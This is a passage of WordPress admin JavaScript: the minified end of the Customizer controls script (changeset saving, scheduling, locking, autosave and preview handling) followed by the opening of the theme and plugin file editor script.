K()?n=!0:confirm(Y.l10n.saveAlert)?(n=!0,Y.each(function(e){e._dirty=!1}),J(document).off("visibilitychange.wp-customize-changeset-update"),J(window).off("beforeunload.wp-customize-changeset-update"),i.css("cursor","progress"),""!==Y.state("changesetStatus").get()&&(t=!0)):e.reject(),(n||t)&&wp.ajax.send("customize_dismiss_autosave_or_lock",{timeout:500,data:{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.dismiss_autosave_or_lock,dismiss_autosave:t,dismiss_lock:n}}).always(function(){e.resolve()}),e.promise()}Y.settings=window._wpCustomizeSettings,Y.l10n=window._wpCustomizeControlsL10n,Y.settings&&J.support.postMessage&&(J.support.cors||!Y.settings.isCrossDomain)&&(null===Y.PreviewFrame.prototype.sensitivity&&(Y.PreviewFrame.prototype.sensitivity=Y.settings.timeouts.previewFrameSensitivity),null===Y.Previewer.prototype.refreshBuffer&&(Y.Previewer.prototype.refreshBuffer=Y.settings.timeouts.windowRefresh),o=J(document.body),t=o.children(".wp-full-overlay"),n=J("#customize-info .panel-title.site-title"),i=J(".customize-controls-close"),d=J("#save"),u=J("#customize-save-button-wrapper"),p=J("#publish-settings"),a=J("#customize-footer-actions"),Y.bind("ready",function(){Y.section.add(new Y.OuterSection("publish_settings",{title:Y.l10n.publishSettings,priority:0,active:Y.settings.theme.active}))}),Y.section("publish_settings",function(t){var e,n,i,a,o,s,r;function c(){r=r||Y.utils.highlightButton(u,{delay:1e3,focusTarget:d})}function l(){r&&(r(),r=null)}e=new Y.Control("trash_changeset",{type:"button",section:t.id,priority:30,input_attrs:{class:"button-link button-link-delete",value:Y.l10n.discardChanges}}),Y.control.add(e),e.deferred.embedded.done(function(){e.container.find(".button-link").on("click",function(){confirm(Y.l10n.trashConfirm)&&wp.customize.previewer.trash()})}),Y.control.add(new Y.PreviewLinkControl("changeset_preview_link",{section:t.id,priority:100})),t.active.validate=n=function(){return!!Y.state("activated").get()&&!(Y.state("trashing").get()||"trash"===Y.state("changesetStatus").get()||""===Y.state("changesetStatus").get()&&Y.state("saved").get())},s=function(){t.active.set(n())},Y.state("activated").bind(s),Y.state("trashing").bind(s),Y.state("saved").bind(s),Y.state("changesetStatus").bind(s),s(),(s=function(){p.toggle(t.active.get()),d.toggleClass("has-next-sibling",t.active.get())})(),t.active.bind(s),Y.state("selectedChangesetStatus").bind(l),t.contentContainer.find(".customize-action").text(Y.l10n.updating),t.contentContainer.find(".customize-section-back").removeAttr("tabindex"),p.prop("disabled",!1),p.on("click",function(e){e.preventDefault(),t.expanded.set(!t.expanded.get())}),t.expanded.bind(function(e){p.attr("aria-expanded",String(e)),p.toggleClass("active",e),e?l():(""!==(e=Y.state("changesetStatus").get())&&"auto-draft"!==e||(e="publish"),(Y.state("selectedChangesetStatus").get()!==e||"future"===Y.state("selectedChangesetStatus").get()&&Y.state("selectedChangesetDate").get()!==Y.state("changesetDate").get())&&c())}),s=new Y.Control("changeset_status",{priority:10,type:"radio",section:"publish_settings",setting:Y.state("selectedChangesetStatus"),templateId:"customize-selected-changeset-status-control",label:Y.l10n.action,choices:Y.settings.changeset.statusChoices}),Y.control.add(s),(i=new Y.DateTimeControl("changeset_scheduled_date",{priority:20,section:"publish_settings",setting:Y.state("selectedChangesetDate"),minYear:(new Date).getFullYear(),allowPastDate:!1,includeTime:!0,twelveHourFormat:/a/i.test(Y.settings.timeFormat),description:Y.l10n.scheduleDescription})).notifications.alt=!0,Y.control.add(i),a=function(){Y.state("selectedChangesetStatus").set("publish"),Y.previewer.save()},s=function(){var e="future"===Y.state("changesetStatus").get()&&"future"===Y.state("selectedChangesetStatus").get()&&Y.state("changesetDate").get()&&Y.state("selectedChangesetDate").get()===Y.state("changesetDate").get()&&0<=Y.utils.getRemainingTime(Y.state("changesetDate").get());e&&!o?o=setInterval(function(){var e=Y.utils.getRemainingTime(Y.state("changesetDate").get());Y.state("remainingTimeToPublish").set(e),e<=0&&(clearInterval(o),o=0,a())},1e3):!e&&o&&(clearInterval(o),o=0)},Y.state("changesetDate").bind(s),Y.state("selectedChangesetDate").bind(s),Y.state("changesetStatus").bind(s),Y.state("selectedChangesetStatus").bind(s),s(),i.active.validate=function(){return"future"===Y.state("selectedChangesetStatus").get()},(s=function(e){i.active.set("future"===e)})(Y.state("selectedChangesetStatus").get()),Y.state("selectedChangesetStatus").bind(s),Y.state("saving").bind(function(e){e&&"future"===Y.state("selectedChangesetStatus").get()&&i.toggleFutureDateNotification(!i.isFutureDate())})}),J("#customize-controls").on("keydown",function(e){var t=13===e.which,n=J(e.target);t&&(n.is("input:not([type=button])")||n.is("select"))&&e.preventDefault()}),J(".customize-info").find("> .accordion-section-title .customize-help-toggle").on("click",function(){var e=J(this).closest(".accordion-section"),t=e.find(".customize-panel-description:first");e.hasClass("cannot-expand")||(e.hasClass("open")?(e.toggleClass("open"),t.slideUp(Y.Panel.prototype.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),J(this).attr("aria-expanded",!1)):(t.slideDown(Y.Panel.prototype.defaultExpandedArguments.duration,function(){t.trigger("toggled")}),e.toggleClass("open"),J(this).attr("aria-expanded",!0)))}),Y.previewer=new Y.Previewer({container:"#customize-preview",form:"#customize-controls",previewUrl:Y.settings.url.preview,allowedUrls:Y.settings.url.allowed},{nonce:Y.settings.nonce,query:function(e){var t={wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,nonce:this.nonce.preview,customize_changeset_uuid:Y.settings.changeset.uuid};return!Y.settings.changeset.autosaved&&Y.state("saved").get()||(t.customize_autosaved="on"),t.customized=JSON.stringify(Y.dirtyValues({unsaved:e&&e.excludeCustomizedSaved})),t},save:function(i){var e,t,a=this,o=J.Deferred(),s=Y.state("selectedChangesetStatus").get(),r=Y.state("selectedChangesetDate").get(),n=Y.state("processing"),c={},l=[],d=[],u=[];function p(e){c[e.id]=!0}return i&&i.status&&(s=i.status),Y.state("saving").get()&&(o.reject("already_saving"),o.promise()),Y.state("saving").set(!0),t=function(){var n={},t=Y._latestRevision,e="client_side_error";if(Y.bind("change",p),Y.notifications.remove(e),Y.each(function(t){t.notifications.each(function(e){"error"!==e.type||e.fromServer||(l.push(t.id),n[t.id]||(n[t.id]={}),n[t.id][e.code]=e)})}),Y.control.each(function(t){t.setting&&(t.setting.id||!t.active.get())||t.notifications.each(function(e){"error"===e.type&&u.push([t])})}),d=_.union(u,_.values(Y.findControlsForSettings(l))),!_.isEmpty(d))return d[0][0].focus(),Y.unbind("change",p),l.length&&Y.notifications.add(new Y.Notification(e,{message:(1===l.length?Y.l10n.saveBlockedError.singular:Y.l10n.saveBlockedError.plural).replace(/%s/g,String(l.length)),type:"error",dismissible:!0,saveFailure:!0})),o.rejectWith(a,[{setting_invalidities:n}]),Y.state("saving").set(!1),o.promise();e=J.extend(a.query({excludeCustomizedSaved:!1}),{nonce:a.nonce.save,customize_changeset_status:s}),i&&i.date?e.customize_changeset_date=i.date:"future"===s&&r&&(e.customize_changeset_date=r),i&&i.title&&(e.customize_changeset_title=i.title),Y.trigger("save-request-params",e),e=wp.ajax.post("customize_save",e),Y.state("processing").set(Y.state("processing").get()+1),Y.trigger("save",e),e.always(function(){Y.state("processing").set(Y.state("processing").get()-1),Y.state("saving").set(!1),Y.unbind("change",p)}),Y.notifications.each(function(e){e.saveFailure&&Y.notifications.remove(e.code)}),e.fail(function(e){var t,n={type:"error",dismissible:!0,fromServer:!0,saveFailure:!0};"0"===e?e="not_logged_in":"-1"===e&&(e="invalid_nonce"),"invalid_nonce"===e?a.cheatin():"not_logged_in"===e?(a.preview.iframe.hide(),a.login().done(function(){a.save(),a.preview.iframe.show()})):e.code?"not_future_date"===e.code&&Y.section.has("publish_settings")&&Y.section("publish_settings").active.get()&&Y.control.has("changeset_scheduled_date")?Y.control("changeset_scheduled_date").toggleFutureDateNotification(!0).focus():"changeset_locked"!==e.code&&(t=new Y.Notification(e.code,_.extend(n,{message:e.message}))):t=new Y.Notification("unknown_error",_.extend(n,{message:Y.l10n.unknownRequestFail})),t&&Y.notifications.add(t),e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities,focusInvalidControl:!0}),o.rejectWith(a,[e]),Y.trigger("error",e),"changeset_already_published"===e.code&&e.next_changeset_uuid&&(Y.settings.changeset.uuid=e.next_changeset_uuid,Y.state("changesetStatus").set(""),Y.settings.changeset.branching&&h.send("changeset-uuid",Y.settings.changeset.uuid),Y.previewer.send("changeset-uuid",Y.settings.changeset.uuid))}),e.done(function(e){a.send("saved",e),Y.state("changesetStatus").set(e.changeset_status),e.changeset_date&&Y.state("changesetDate").set(e.changeset_date),"publish"===e.changeset_status&&(Y.each(function(e){e._dirty&&(_.isUndefined(Y._latestSettingRevisions[e.id])||Y._latestSettingRevisions[e.id]<=t)&&(e._dirty=!1)}),Y.state("changesetStatus").set(""),Y.settings.changeset.uuid=e.next_changeset_uuid,Y.settings.changeset.branching)&&h.send("changeset-uuid",Y.settings.changeset.uuid),Y._lastSavedRevision=Math.max(t,Y._lastSavedRevision),e.setting_validities&&Y._handleSettingValidities({settingValidities:e.setting_validities,focusInvalidControl:!0}),o.resolveWith(a,[e]),Y.trigger("saved",e),_.isEmpty(c)||Y.state("saved").set(!1)})},0===n()?t():(e=function(){0===n()&&(Y.state.unbind("change",e),t())},Y.state.bind("change",e)),o.promise()},trash:function(){var e,n,i;Y.state("trashing").set(!0),Y.state("processing").set(Y.state("processing").get()+1),e=wp.ajax.post("customize_trash",{customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.trash}),Y.notifications.add(new Y.OverlayNotification("changeset_trashing",{type:"info",message:Y.l10n.revertingChanges,loading:!0})),n=function(){var e,t=document.createElement("a");Y.state("changesetStatus").set("trash"),Y.each(function(e){e._dirty=!1}),Y.state("saved").set(!0),t.href=location.href,delete(e=Y.utils.parseQueryString(t.search.substr(1))).changeset_uuid,e.return=Y.settings.url.return,t.search=J.param(e),location.replace(t.href)},i=function(e,t){e=e||"unknown_error";Y.state("processing").set(Y.state("processing").get()-1),Y.state("trashing").set(!1),Y.notifications.remove("changeset_trashing"),Y.notifications.add(new Y.Notification(e,{message:t||Y.l10n.unknownError,dismissible:!0,type:"error"}))},e.done(function(e){n(e.message)}),e.fail(function(e){var t=e.code||"trashing_failed";e.success||"non_existent_changeset"===t||"changeset_already_trashed"===t?n(e.message):i(t,e.message)})},getFrontendPreviewUrl:function(){var e,t=document.createElement("a");return t.href=this.previewUrl.get(),e=Y.utils.parseQueryString(t.search.substr(1)),Y.state("changesetStatus").get()&&"publish"!==Y.state("changesetStatus").get()&&(e.customize_changeset_uuid=Y.settings.changeset.uuid),Y.state("activated").get()||(e.customize_theme=Y.settings.theme.stylesheet),t.search=J.param(e),t.href}}),J.ajaxPrefilter(function(e){/wp_customize=on/.test(e.data)&&(e.data+="&"+J.param({customize_preview_nonce:Y.settings.nonce.preview}))}),Y.previewer.bind("nonce",function(e){J.extend(this.nonce,e)}),Y.bind("nonce-refresh",function(e){J.extend(Y.settings.nonce,e),J.extend(Y.previewer.nonce,e),Y.previewer.send("nonce-refresh",e)}),J.each(Y.settings.settings,function(e,t){var n=Y.settingConstructor[t.type]||Y.Setting;Y.add(new n(e,t.value,{transport:t.transport,previewer:Y.previewer,dirty:!!t.dirty}))}),J.each(Y.settings.panels,function(e,t){var n=Y.panelConstructor[t.type]||Y.Panel,t=_.extend({params:t},t);Y.panel.add(new n(e,t))}),J.each(Y.settings.sections,function(e,t){var n=Y.sectionConstructor[t.type]||Y.Section,t=_.extend({params:t},t);Y.section.add(new n(e,t))}),J.each(Y.settings.controls,function(e,t){var n=Y.controlConstructor[t.type]||Y.Control,t=_.extend({params:t},t);Y.control.add(new n(e,t))}),_.each(["panel","section","control"],function(e){var t=Y.settings.autofocus[e];t&&Y[e](t,function(e){e.deferred.embedded.done(function(){Y.previewer.deferred.active.done(function(){e.focus()})})})}),Y.bind("ready",Y.reflowPaneContents),J([Y.panel,Y.section,Y.control]).each(function(e,t){var n=_.debounce(Y.reflowPaneContents,Y.settings.timeouts.reflowPaneContents);t.bind("add",n),t.bind("change",n),t.bind("remove",n)}),Y.bind("ready",function(){var e,t,n;Y.notifications.container=J("#customize-notifications-area"),Y.notifications.bind("change",_.debounce(function(){Y.notifications.render()})),e=J(".wp-full-overlay-sidebar-content"),Y.notifications.bind("rendered",function(){e.css("top",""),0!==Y.notifications.count()&&(t=Y.notifications.container.outerHeight()+1,n=parseInt(e.css("top"),10),e.css("top",n+t+"px")),Y.notifications.trigger("sidebarTopUpdated")}),Y.notifications.render()}),s=Y.state,c=s.instance("saved"),l=s.instance("saving"),f=s.instance("trashing"),m=s.instance("activated"),e=s.instance("processing"),I=s.instance("paneVisible"),H=s.instance("expandedPanel"),L=s.instance("expandedSection"),g=s.instance("changesetStatus"),v=s.instance("selectedChangesetStatus"),w=s.instance("changesetDate"),b=s.instance("selectedChangesetDate"),M=s.instance("previewerAlive"),O=s.instance("editShortcutVisibility"),C=s.instance("changesetLocked"),s.bind("change",function(){var e;m()?""===g.get()&&c()?(Y.settings.changeset.currentUserCanPublish?d.val(Y.l10n.published):d.val(Y.l10n.saved),i.find(".screen-reader-text").text(Y.l10n.close)):("draft"===v()?c()&&v()===g()?d.val(Y.l10n.draftSaved):d.val(Y.l10n.saveDraft):"future"===v()?!c()||v()!==g()||w.get()!==b.get()?d.val(Y.l10n.schedule):d.val(Y.l10n.scheduled):Y.settings.changeset.currentUserCanPublish&&d.val(Y.l10n.publish),i.find(".screen-reader-text").text(Y.l10n.cancel)):(d.val(Y.l10n.activate),i.find(".screen-reader-text").text(Y.l10n.cancel)),e=!l()&&!f()&&!C()&&(!m()||!c()||g()!==v()&&""!==g()||"future"===v()&&w.get()!==b.get()),d.prop("disabled",!e)}),v.validate=function(e){return""===e||"auto-draft"===e?null:e},S=Y.settings.changeset.currentUserCanPublish?"publish":"draft",g(Y.settings.changeset.status),C(Boolean(Y.settings.changeset.lockUser)),w(Y.settings.changeset.publishDate),b(Y.settings.changeset.publishDate),v(""===Y.settings.changeset.status||"auto-draft"===Y.settings.changeset.status?S:Y.settings.changeset.status),v.link(g),c(!0),""===g()&&Y.each(function(e){e._dirty&&c(!1)}),l(!1),m(Y.settings.theme.active),e(0),I(!0),H(!1),L(!1),M(!0),O("visible"),Y.bind("change",function(){s("saved").get()&&s("saved").set(!1)}),Y.settings.changeset.branching&&c.bind(function(e){e||r(!0)}),l.bind(function(e){o.toggleClass("saving",e)}),f.bind(function(e){o.toggleClass("trashing",e)}),Y.bind("saved",function(e){s("saved").set(!0),"publish"===e.changeset_status&&s("activated").set(!0)}),m.bind(function(e){e&&Y.trigger("activated")}),r=function(e){var t,n;if(history.replaceState){if((t=document.createElement("a")).href=location.href,n=Y.utils.parseQueryString(t.search.substr(1)),e){if(n.changeset_uuid===Y.settings.changeset.uuid)return;n.changeset_uuid=Y.settings.changeset.uuid}else{if(!n.changeset_uuid)return;delete n.changeset_uuid}t.search=J.param(n),history.replaceState({},document.title,t.href)}},Y.settings.changeset.branching&&g.bind(function(e){r(""!==e&&"publish"!==e&&"trash"!==e)}),j=Y.OverlayNotification.extend({templateId:"customize-changeset-locked-notification",lockUser:null,initialize:function(e,t){e=e||"changeset_locked",t=_.extend({message:"",type:"warning",containerClasses:"",lockUser:{}},t);t.containerClasses+=" notification-changeset-locked",Y.OverlayNotification.prototype.initialize.call(this,e,t)},render:function(){var t,n,i=this,e=_.extend({allowOverride:!1,returnUrl:Y.settings.url.return,previewUrl:Y.previewer.previewUrl.get(),frontendPreviewUrl:Y.previewer.getFrontendPreviewUrl()},this),a=Y.OverlayNotification.prototype.render.call(e);return Y.requestChangesetUpdate({},{autosave:!0}).fail(function(e){e.autosaved||a.find(".notice-error").prop("hidden",!1).text(e.message||Y.l10n.unknownRequestFail)}),(t=a.find(".customize-notice-take-over-button")).on("click",function(e){e.preventDefault(),n||(t.addClass("disabled"),(n=wp.ajax.post("customize_override_changeset_lock",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,customize_changeset_uuid:Y.settings.changeset.uuid,nonce:Y.settings.nonce.override_lock})).done(function(){Y.notifications.remove(i.code),Y.state("changesetLocked").set(!1)}),n.fail(function(e){e=e.message||Y.l10n.unknownRequestFail;a.find(".notice-error").prop("hidden",!1).text(e),n.always(function(){t.removeClass("disabled")})}),n.always(function(){n=null}))}),a}}),Y.settings.changeset.lockUser&&F({allowOverride:!0}),J(document).on("heartbeat-send.update_lock_notice",function(e,t){t.check_changeset_lock=!0,t.changeset_uuid=Y.settings.changeset.uuid}),J(document).on("heartbeat-tick.update_lock_notice",function(e,t){var n,i="changeset_locked";t.customize_changeset_lock_user&&((n=Y.notifications(i))&&n.lockUser.id!==Y.settings.changeset.lockUser.id&&Y.notifications.remove(i),F({lockUser:t.customize_changeset_lock_user}))}),Y.bind("error",function(e){"changeset_locked"===e.code&&e.lock_user&&F({lockUser:e.lock_user})}),T=!(S=[]),Y.settings.changeset.autosaved&&(Y.state("saved").set(!1),S.push("customize_autosaved")),Y.settings.changeset.branching||Y.settings.changeset.status&&"auto-draft"!==Y.settings.changeset.status||S.push("changeset_uuid"),0<S.length&&(S=S,e=document.createElement("a"),x=0,e.href=location.href,y=Y.utils.parseQueryString(e.search.substr(1)),_.each(S,function(e){void 0!==y[e]&&(x+=1,delete y[e])}),0!==x)&&(e.search=J.param(y),history.replaceState({},document.title,e.href)),(Y.settings.changeset.latestAutoDraftUuid||Y.settings.changeset.hasAutosaveRevision)&&(z="autosave_available",Y.notifications.add(new Y.Notification(z,{message:Y.l10n.autosaveNotice,type:"warning",dismissible:!0,render:function(){var e=Y.Notification.prototype.render.call(this),t=e.find("a");return t.prop("href",q()),t.on("click",function(e){e.preventDefault(),location.replace(q())}),e.find(".notice-dismiss").on("click",Q),e}})),Y.bind("change",k=function(){Q(),Y.notifications.remove(z),Y.unbind("change",k),Y.state("changesetStatus").unbind(k)}),Y.state("changesetStatus").bind(k)),parseInt(J("#customize-info").data("block-theme"),10)&&(S=Y.l10n.blockThemeNotification,Y.notifications.add(new Y.Notification("site_editor_block_theme_notice",{message:S,type:"info",dismissible:!1,render:function(){var e=Y.Notification.prototype.render.call(this),t=e.find("button.switch-to-editor");return t.on("click",function(e){e.preventDefault(),location.assign(t.data("action"))}),e}}))),Y.previewer.previewUrl()?Y.previewer.refresh():Y.previewer.previewUrl(Y.settings.url.home),d.on("click",function(e){Y.previewer.save(),e.preventDefault()}).on("keydown",function(e){9!==e.which&&(13===e.which&&Y.previewer.save(),e.preventDefault())}),i.on("keydown",function(e){9!==e.which&&(13===e.which&&this.click(),e.preventDefault())}),J(".collapse-sidebar").on("click",function(){Y.state("paneVisible").set(!Y.state("paneVisible").get())}),Y.state("paneVisible").bind(function(e){t.toggleClass("preview-only",!e),t.toggleClass("expanded",e),t.toggleClass("collapsed",!e),e?J(".collapse-sidebar").attr({"aria-expanded":"true","aria-label":Y.l10n.collapseSidebar}):J(".collapse-sidebar").attr({"aria-expanded":"false","aria-label":Y.l10n.expandSidebar})}),o.on("keydown",function(e){var t,n=[],i=[],a=[];27===e.which&&(J(e.target).is("body")||J.contains(J("#customize-controls")[0],e.target))&&null===e.target.closest(".block-editor-writing-flow")&&null===e.target.closest(".block-editor-block-list__block-popover")&&(Y.control.each(function(e){e.expanded&&e.expanded()&&_.isFunction(e.collapse)&&n.push(e)}),Y.section.each(function(e){e.expanded()&&i.push(e)}),Y.panel.each(function(e){e.expanded()&&a.push(e)}),0<n.length&&0===i.length&&(n.length=0),t=n[0]||i[0]||a[0])&&("themes"===t.params.type?o.hasClass("modal-open")?t.closeDetails():Y.panel.has("themes")&&Y.panel("themes").collapse():(t.collapse(),e.preventDefault()))}),J(".customize-controls-preview-toggle").on("click",function(){Y.state("paneVisible").set(!Y.state("paneVisible").get())}),P=J(".wp-full-overlay-sidebar-content"),I=function(e){var t=Y.state("expandedSection").get(),n=Y.state("expandedPanel").get();if(D&&D.element&&(R(D.element),D.element.find(".description").off("toggled",E)),!e)if(!t&&n&&n.contentContainer)e=n;else{if(n||!t||!t.contentContainer)return void(D=!1);e=t}(n=e.contentContainer.find(".customize-section-title, .panel-meta").first()).length?((D={instance:e,element:n,parent:n.closest(".customize-pane-child"),height:n.outerHeight()}).element.find(".description").on("toggled",E),t&&B(D.element,D.parent)):D=!1},Y.state("expandedSection").bind(I),Y.state("expandedPanel").bind(I),P.on("scroll",_.throttle(function(){var e,t;D&&(e=P.scrollTop(),t=N?e===N?0:N<e?1:-1:1,N=e,0!==t)&&W(D,e,t)},8)),Y.notifications.bind("sidebarTopUpdated",function(){D&&D.element.hasClass("is-sticky")&&D.element.css("top",P.css("top"))}),R=function(e){e.hasClass("is-sticky")&&e.removeClass("is-sticky").addClass("maybe-sticky is-in-view").css("top",P.scrollTop()+"px")},B=function(e,t){e.hasClass("is-in-view")&&(e.removeClass("maybe-sticky is-in-view").css({width:"",top:""}),t.css("padding-top",""))},E=function(){D.height=D.element.outerHeight()},W=function(e,t,n){var i=e.element,a=e.parent,e=e.height,o=parseInt(i.css("top"),10),s=i.hasClass("maybe-sticky"),r=i.hasClass("is-sticky"),c=i.hasClass("is-in-view");if(-1===n){if(!s&&e<=t)s=!0,i.addClass("maybe-sticky");else if(0===t)return i.removeClass("maybe-sticky is-in-view is-sticky").css({top:"",width:""}),void a.css("padding-top","");c&&!r?t<=o&&i.addClass("is-sticky").css({top:P.css("top"),width:a.outerWidth()+"px"}):s&&!c&&(i.addClass("is-in-view").css("top",t-e+"px"),a.css("padding-top",e+"px"))}else r&&(o=t,i.removeClass("is-sticky").css({top:o+"px",width:""})),c&&o+e<t&&(i.removeClass("is-in-view"),a.css("padding-top",""))},Y.previewedDevice=Y.state("previewedDevice"),Y.bind("ready",function(){_.find(Y.settings.previewableDevices,function(e,t){if(!0===e.default)return Y.previewedDevice.set(t),!0})}),a.find(".devices button").on("click",function(e){Y.previewedDevice.set(J(e.currentTarget).data("device"))}),Y.previewedDevice.bind(function(e){var t=J(".wp-full-overlay"),n="";a.find(".devices button").removeClass("active").attr("aria-pressed",!1),a.find(".devices .preview-"+e).addClass("active").attr("aria-pressed",!0),J.each(Y.settings.previewableDevices,function(e){n+=" preview-"+e}),t.removeClass(n).addClass("preview-"+e)}),n.length&&Y("blogname",function(t){function e(){var e=t()||"";n.text(e.toString().trim()||Y.l10n.untitledBlogName)}t.bind(e),e()}),h=new Y.Messenger({url:Y.settings.url.parent,channel:"loader"}),U=!1,h.bind("back",function(){U=!0}),Y.bind("change",V),Y.state("selectedChangesetStatus").bind(V),Y.state("selectedChangesetDate").bind(V),h.bind("confirm-close",function(){$().done(function(){h.send("confirmed-close",!0)}).fail(function(){h.send("confirmed-close",!1)})}),i.on("click.customize-controls-close",function(e){e.preventDefault(),U?h.send("close"):$().done(function(){J(window).off("beforeunload.customize-confirm"),window.location.href=i.prop("href")})}),J.each(["saved","change"],function(e,t){Y.bind(t,function(){h.send(t)})}),Y.bind("title",function(e){h.send("title",e)}),Y.settings.changeset.branching&&h.send("changeset-uuid",Y.settings.changeset.uuid),h.send("ready"),J.each({background_image:{controls:["background_preset","background_position","background_size","background_repeat","background_attachment"],callback:function(e){return!!e}},show_on_front:{controls:["page_on_front","page_for_posts"],callback:function(e){return"page"===e}},header_textcolor:{controls:["header_textcolor"],callback:function(e){return"blank"!==e}}},function(e,i){Y(e,function(n){J.each(i.controls,function(e,t){Y.control(t,function(t){function e(e){t.container.toggle(i.callback(e))}e(n.get()),n.bind(e)})})})}),Y.control("background_preset",function(e){var i={default:[!1,!1,!1,!1],fill:[!0,!1,!1,!1],fit:[!0,!1,!0,!1],repeat:[!0,!1,!1,!0],custom:[!0,!0,!0,!0]},a={default:[_wpCustomizeBackground.defaults["default-position-x"],_wpCustomizeBackground.defaults["default-position-y"],_wpCustomizeBackground.defaults["default-size"],_wpCustomizeBackground.defaults["default-repeat"],_wpCustomizeBackground.defaults["default-attachment"]],fill:["left","top","cover","no-repeat","fixed"],fit:["left","top","contain","no-repeat","fixed"],repeat:["left","top","auto","repeat","scroll"]},t=function(n){_.each(["background_position","background_size","background_repeat","background_attachment"],function(e,t){e=Y.control(e);e&&e.container.toggle(i[n][t])})},n=function(n){_.each(["background_position_x","background_position_y","background_size","background_repeat","background_attachment"],function(e,t){e=Y(e);e&&e.set(a[n][t])})},o=e.setting.get();t(o),e.setting.bind("change",function(e){t(e),"custom"!==e&&n(e)})}),Y.control("background_repeat",function(t){t.elements[0].unsync(Y("background_repeat")),t.element=new Y.Element(t.container.find("input")),t.element.set("no-repeat"!==t.setting()),t.element.bind(function(e){t.setting.set(e?"repeat":"no-repeat")}),t.setting.bind(function(e){t.element.set("no-repeat"!==e)})}),Y.control("background_attachment",function(t){t.elements[0].unsync(Y("background_attachment")),t.element=new Y.Element(t.container.find("input")),t.element.set("fixed"!==t.setting()),t.element.bind(function(e){t.setting.set(e?"scroll":"fixed")}),t.setting.bind(function(e){t.element.set("fixed"!==e)})}),Y.control("display_header_text",function(t){var n="";t.elements[0].unsync(Y("header_textcolor")),t.element=new Y.Element(t.container.find("input")),t.element.set("blank"!==t.setting()),t.element.bind(function(e){e||(n=Y("header_textcolor").get()),t.setting.set(e?n:"blank")}),t.setting.bind(function(e){t.element.set("blank"!==e)})}),Y("show_on_front","page_on_front","page_for_posts",function(i,a,o){function e(){var e="show_on_front_page_collision",t=parseInt(a(),10),n=parseInt(o(),10);"page"===i()&&(this===a&&0<t&&Y.previewer.previewUrl.set(Y.settings.url.home),this===o)&&0<n&&Y.previewer.previewUrl.set(Y.settings.url.home+"?page_id="+n),"page"===i()&&t&&n&&t===n?i.notifications.add(new Y.Notification(e,{type:"error",message:Y.l10n.pageOnFrontError})):i.notifications.remove(e)}i.bind(e),a.bind(e),o.bind(e),e.call(i,i()),Y.control("show_on_front",function(e){e.deferred.embedded.done(function(){e.container.append(e.getNotificationsContainerElement())})})}),A=J.Deferred(),Y.section("custom_css",function(t){t.deferred.embedded.done(function(){t.expanded()?A.resolve(t):t.expanded.bind(function(e){e&&A.resolve(t)})})}),A.done(function(e){var t=Y.control("custom_css");t.container.find(".customize-control-title:first").addClass("screen-reader-text"),e.container.find(".section-description-buttons .section-description-close").on("click",function(){e.container.find(".section-meta .customize-section-description:first").removeClass("open").slideUp(),e.container.find(".customize-help-toggle").attr("aria-expanded","false").focus()}),t&&!t.setting.get()&&(e.container.find(".section-meta .customize-section-description:first").addClass("open").show().trigger("toggled"),e.container.find(".customize-help-toggle").attr("aria-expanded","true"))}),Y.control("header_video",function(n){n.deferred.embedded.done(function(){function e(){var e=Y.section(n.section()),t="video_header_not_available";e&&(n.active.get()?e.notifications.remove(t):e.notifications.add(new Y.Notification(t,{type:"info",message:Y.l10n.videoHeaderNotice})))}e(),n.active.bind(e)})}),Y.previewer.bind("selective-refresh-setting-validities",function(e){Y._handleSettingValidities({settingValidities:e,focusInvalidControl:!1})}),Y.previewer.bind("focus-control-for-setting",function(n){var i=[];Y.control.each(function(e){var t=_.pluck(e.settings,"id");-1!==_.indexOf(t,n)&&i.push(e)}),i.length&&(i.sort(function(e,t){return e.priority()-t.priority()}),i[0].focus())}),Y.previewer.bind("refresh",function(){Y.previewer.refresh()}),Y.state("paneVisible").bind(function(e){var t=window.matchMedia?window.matchMedia("screen and ( max-width: 640px )").matches:J(window).width()<=640;Y.state("editShortcutVisibility").set(e||t?"visible":"hidden")}),window.matchMedia&&window.matchMedia("screen and ( max-width: 640px )").addListener(function(){var e=Y.state("paneVisible");e.callbacks.fireWith(e,[e.get(),e.get()])}),Y.previewer.bind("edit-shortcut-visibility",function(e){Y.state("editShortcutVisibility").set(e)}),Y.state("editShortcutVisibility").bind(function(e){Y.previewer.send("edit-shortcut-visibility",e)}),Y.bind("change",function e(){var t,n,i,a=!1;function o(e){e||Y.settings.changeset.autosaved||(Y.settings.changeset.autosaved=!0,Y.previewer.send("autosaving"))}Y.unbind("change",e),Y.state("saved").bind(o),o(Y.state("saved").get()),n=function(){a||(a=!0,Y.requestChangesetUpdate({},{autosave:!0}).always(function(){a=!1})),i()},(i=function(){clearTimeout(t),t=setTimeout(function(){n()},Y.settings.timeouts.changesetAutoSave)})(),J(document).on("visibilitychange.wp-customize-changeset-update",function(){document.hidden&&n()}),J(window).on("beforeunload.wp-customize-changeset-update",function(){n()})}),J(document).one("tinymce-editor-setup",function(){window.tinymce.ui.FloatPanel&&(!window.tinymce.ui.FloatPanel.zIndex||window.tinymce.ui.FloatPanel.zIndex<500001)&&(window.tinymce.ui.FloatPanel.zIndex=500001)}),o.addClass("ready"),Y.trigger("ready"))})}((wp,jQuery));/**
 * @output wp-admin/js/theme-plugin-editor.js
 */

/* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1] }] */

if ( ! window.wp ) {
	window.wp = {};
}

wp.themePluginEditor = (function( $ ) {
	'use strict';
	var component, TreeLinks,
		__ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf;

	component = {
		codeEditor: {},
		instance: null,
		noticeElements: {},
		dirty: false,
		lintErrors: []
	};

	/**
	 * Initialize component.
	 *
	 * @since 4.9.0
	 *
	 * @param {jQuery}         form - Form element.
	 * @param {Object}         settings - Settings.
	 * @param {Object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled).
	 * @return {void}
	 */
	component.init = function init( form, settings ) {

		component.form = form;
		if ( settings ) {
			$.extend( component, settings );
		}

		component.noticeTemplate = wp.template( 'wp-file-editor-notice' );
		component.noticesContainer = component.form.find( '.editor-notices' );
		component.submitButton = component.form.find( ':input[name=submit]' );
		component.spinner = component.form.find( '.submit .spinner' );
